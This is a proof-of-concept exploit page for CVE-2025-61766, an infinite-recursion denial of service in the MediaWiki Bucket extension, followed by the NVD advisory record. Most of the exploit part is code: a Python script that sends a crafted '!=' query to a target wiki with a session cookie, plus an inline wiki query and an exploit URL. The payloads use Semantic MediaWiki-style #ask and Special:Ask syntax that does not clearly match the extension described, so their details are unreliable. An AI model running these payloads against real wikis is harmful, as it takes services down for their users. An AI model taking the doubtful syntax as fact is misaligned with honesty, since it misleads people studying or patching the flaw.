CVE-2025-61766

# CVE-2025-61766 PoC - MediaWiki Bucket Extension Infinite Recursion DoS # Vulnerability: Infinite recursion when using '!=' comparator in bucket queries # Affected: Bucket extension < 1.0.0 # File: includes/Expression/MemberOfExpression.php (Line 34) # PoC 1: Direct API query triggering infinite recursion # This query uses the '!=' comparator on a self-referencing bucket import requests TARGET_URL = "https://target-wiki.example.com/w/api.php" COOKIES = { "session_token": "YOUR_AUTHENTICATED_SESSION_TOKEN" # Requires low-privilege auth } # Crafted query parameters that trigger infinite recursion via '!=' operator params = { "action": "query", "list": "search", "srsearch": "[[Bucket:TestBucket::!={{PAGENAME}}]]", # '!=' triggers recursion "format": "json" } response = requests.get(TARGET_URL, params=params, cookies=COOKIES) print(f"Status: {response.status_code}") # Expected: 500 Internal Server Error or PHP fatal error due to stack overflow # PoC 2: Inline query in wiki page content # Add the following to any wiki page (requires edit permission): WIKI_INLINE_QUERY = """ {{#ask: [[Bucket:TestBucket::!={{PAGENAME}}]] |?Property1 }} """ # PoC 3: URL-based exploitation # Direct URL that triggers the vulnerable code path: EXPLOIT_URL = ( "https://target-wiki.example.com/wiki/Special:Ask" "?q=[[Bucket:TestBucket::!=SomeValue]]&po=1" ) print(f"Exploit URL: {EXPLOIT_URL}") # Note: The '!=' comparator on self-referencing or circular bucket data # causes MemberOfExpression::evaluate() to recursively call itself # without a proper termination condition, exhausting PHP's call stack.

{"cve": {"id": "CVE-2025-61766", "sourceIdentifier": "[email protected]", "published": "2025-10-06T17:16:07.760", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Bucket is a MediaWiki extension to store and retrieve structured data on articles. Prior to version 1.0.0, infinite recursion can occur if a user queries a bucket using the `!=` comparator. This will result in PHP's call stack limit exceeding, and/or increased memory consumption, potentially leading to a denial of service. Version 1.0.0 contains a patch for the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-674"}]}], "references": [{"url": "https://github.com/weirdgloop/mediawiki-extensions-Bucket/blob/ad704120a1660b5929fb5825db1cf85c9c77acf4/includes/Expression/MemberOfExpression.php#L34", "source": "[email protected]"}, {"url": "https://github.com/weirdgloop/mediawiki-extensions-Bucket/commit/6f4a71d531cb802cdb991d2a4ca7bf8fb691defd", "source": "[email protected]"}, {"url": "https://github.com/weirdgloop/mediawiki-extensions-Bucket/security/advisories/GHSA-r9f2-4jh3-659j", "source": "[email protected]"}]}}